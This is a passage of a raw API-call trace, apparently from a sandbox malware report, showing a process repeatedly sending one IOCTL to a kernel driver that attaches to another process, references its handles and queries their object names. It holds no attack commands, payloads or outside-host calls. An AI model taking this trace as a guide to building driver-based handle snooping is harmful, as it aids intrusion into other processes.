hHeap=0x190000) returned 1 [0131.914] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.914] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xd6, lpOverlapped=0x0) returned 1 [0131.914] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.914] PsAcquireProcessExitSynchronization () returned 0x0 [0131.914] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.914] ObReferenceObjectByHandle (in: Handle=0x544, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80034702c0, HandleInformation=0x0) returned 0x0 [0131.914] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.914] PsReleaseProcessExitSynchronization () returned 0x2 [0131.914] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.914] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.914] ObfDereferenceObject (Object=0xfffffa80034702c0) returned 0x20 [0131.914] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.914] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.915] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.915] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xea, lpOverlapped=0x0) returned 1 [0131.915] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.915] PsAcquireProcessExitSynchronization () returned 0x0 [0131.915] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.915] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003b112c0, HandleInformation=0x0) returned 0x0 [0131.915] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.915] PsReleaseProcessExitSynchronization () returned 0x2 [0131.915] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.915] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000508) returned 0x0 [0131.915] ObfDereferenceObject (Object=0xfffffa8003b112c0) returned 0x6 [0131.915] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.915] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.915] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.915] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x118, lpOverlapped=0x0) returned 1 [0131.915] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.915] PsAcquireProcessExitSynchronization () returned 0x0 [0131.915] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.915] ObReferenceObjectByHandle (in: Handle=0x5ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003129f20, HandleInformation=0x0) returned 0x0 [0131.915] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.915] PsReleaseProcessExitSynchronization () returned 0x2 [0131.915] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.915] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0131.915] ObfDereferenceObject (Object=0xfffffa8003129f20) returned 0x12 [0131.915] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.915] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.915] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.915] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xea, lpOverlapped=0x0) returned 1 [0131.915] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.915] PsAcquireProcessExitSynchronization () returned 0x0 [0131.916] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.916] ObReferenceObjectByHandle (in: Handle=0x60c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f8f7d0, HandleInformation=0x0) returned 0x0 [0131.916] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.916] PsReleaseProcessExitSynchronization () returned 0x2 [0131.916] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.916] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0131.916] ObfDereferenceObject (Object=0xfffffa8002f8f7d0) returned 0x12 [0131.916] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.916] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.916] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.916] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3c, lpOverlapped=0x0) returned 1 [0131.916] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.916] PsAcquireProcessExitSynchronization () returned 0x0 [0131.916] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.916] ObReferenceObjectByHandle (in: Handle=0x618, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800345b610, HandleInformation=0x0) returned 0x0 [0131.916] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.916] PsReleaseProcessExitSynchronization () returned 0x2 [0131.916] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.916] ObQueryNameString (in: Object=0xfffffa800345b610, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.916] ObfDereferenceObject (Object=0xfffffa800345b610) returned 0x2 [0131.916] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.916] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.916] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.916] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xd0, lpOverlapped=0x0) returned 1 [0131.916] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.916] PsAcquireProcessExitSynchronization () returned 0x0 [0131.916] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.916] ObReferenceObjectByHandle (in: Handle=0x638, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800348c8d0, HandleInformation=0x0) returned 0x0 [0131.916] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.916] PsReleaseProcessExitSynchronization () returned 0x2 [0131.917] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.917] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.917] ObfDereferenceObject (Object=0xfffffa800348c8d0) returned 0x6 [0131.917] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.917] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.917] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.917] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0131.917] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.917] PsAcquireProcessExitSynchronization () returned 0x0 [0131.917] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.917] ObReferenceObjectByHandle (in: Handle=0x65c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0131.917] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.917] PsReleaseProcessExitSynchronization () returned 0x2 [0131.917] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.917] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.917] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0131.917] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.917] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.917] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.917] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xe6, lpOverlapped=0x0) returned 1 [0131.917] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.917] PsAcquireProcessExitSynchronization () returned 0x0 [0131.917] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.917] ObReferenceObjectByHandle (in: Handle=0x6ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80019453e0, HandleInformation=0x0) returned 0x0 [0131.917] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.917] PsReleaseProcessExitSynchronization () returned 0x2 [0131.917] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.917] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.917] ObfDereferenceObject (Object=0xfffffa80019453e0) returned 0x1 [0131.917] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.917] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.917] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.917] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0131.917] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.917] PsAcquireProcessExitSynchronization () returned 0x0 [0131.918] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.918] ObReferenceObjectByHandle (in: Handle=0x6b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0131.918] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.918] PsReleaseProcessExitSynchronization () returned 0x2 [0131.918] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.918] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.918] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0131.918] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.918] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.918] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.918] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3c, lpOverlapped=0x0) returned 1 [0131.918] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.918] PsAcquireProcessExitSynchronization () returned 0x0 [0131.918] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.918] ObReferenceObjectByHandle (in: Handle=0x738, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030bbdf0, HandleInformation=0x0) returned 0x0 [0131.918] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.918] PsReleaseProcessExitSynchronization () returned 0x2 [0131.918] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.918] ObQueryNameString (in: Object=0xfffffa80030bbdf0, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.918] ObfDereferenceObject (Object=0xfffffa80030bbdf0) returned 0x2 [0131.918] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.918] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.918] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.918] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.918] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.918] PsAcquireProcessExitSynchronization () returned 0x0 [0131.918] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.918] ObReferenceObjectByHandle (in: Handle=0x740, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80019d1070, HandleInformation=0x0) returned 0x0 [0131.918] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.918] PsReleaseProcessExitSynchronization () returned 0x2 [0131.918] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.918] ObQueryNameString (in: Object=0xfffffa80019d1070, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.919] ObfDereferenceObject (Object=0xfffffa80019d1070) returned 0x1 [0131.919] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.919] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.919] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.919] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xd8, lpOverlapped=0x0) returned 1 [0131.919] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.919] PsAcquireProcessExitSynchronization () returned 0x0 [0131.919] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.919] ObReferenceObjectByHandle (in: Handle=0x758, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800206b4e0, HandleInformation=0x0) returned 0x0 [0131.919] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.919] PsReleaseProcessExitSynchronization () returned 0x2 [0131.919] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.919] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.919] ObfDereferenceObject (Object=0xfffffa800206b4e0) returned 0x13 [0131.919] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.919] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.919] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.919] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0131.919] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.919] PsAcquireProcessExitSynchronization () returned 0x0 [0131.919] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.919] ObReferenceObjectByHandle (in: Handle=0x760, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800207daa0, HandleInformation=0x0) returned 0x0 [0131.919] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.919] PsReleaseProcessExitSynchronization () returned 0x2 [0131.919] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.919] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000508) returned 0x0 [0131.919] ObfDereferenceObject (Object=0xfffffa800207daa0) returned 0x13 [0131.919] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.919] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.919] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.919] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xda, lpOverlapped=0x0) returned 1 [0131.919] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.920] PsAcquireProcessExitSynchronization () returned 0x0 [0131.920] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.920] ObReferenceObjectByHandle (in: Handle=0x76c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020838a0, HandleInformation=0x0) returned 0x0 [0131.920] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.920] PsReleaseProcessExitSynchronization () returned 0x2 [0131.920] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.920] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.920] ObfDereferenceObject (Object=0xfffffa80020838a0) returned 0x12 [0131.920] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.920] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.920] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.920] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0131.920] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.920] PsAcquireProcessExitSynchronization () returned 0x0 [0131.920] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.920] ObReferenceObjectByHandle (in: Handle=0x780, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020899b0, HandleInformation=0x0) returned 0x0 [0131.920] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.920] PsReleaseProcessExitSynchronization () returned 0x2 [0131.920] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.920] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000508) returned 0x0 [0131.920] ObfDereferenceObject (Object=0xfffffa80020899b0) returned 0x12 [0131.920] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.920] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.920] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.920] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0131.920] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.920] PsAcquireProcessExitSynchronization () returned 0x0 [0131.920] KeStackAttachProcess (in: 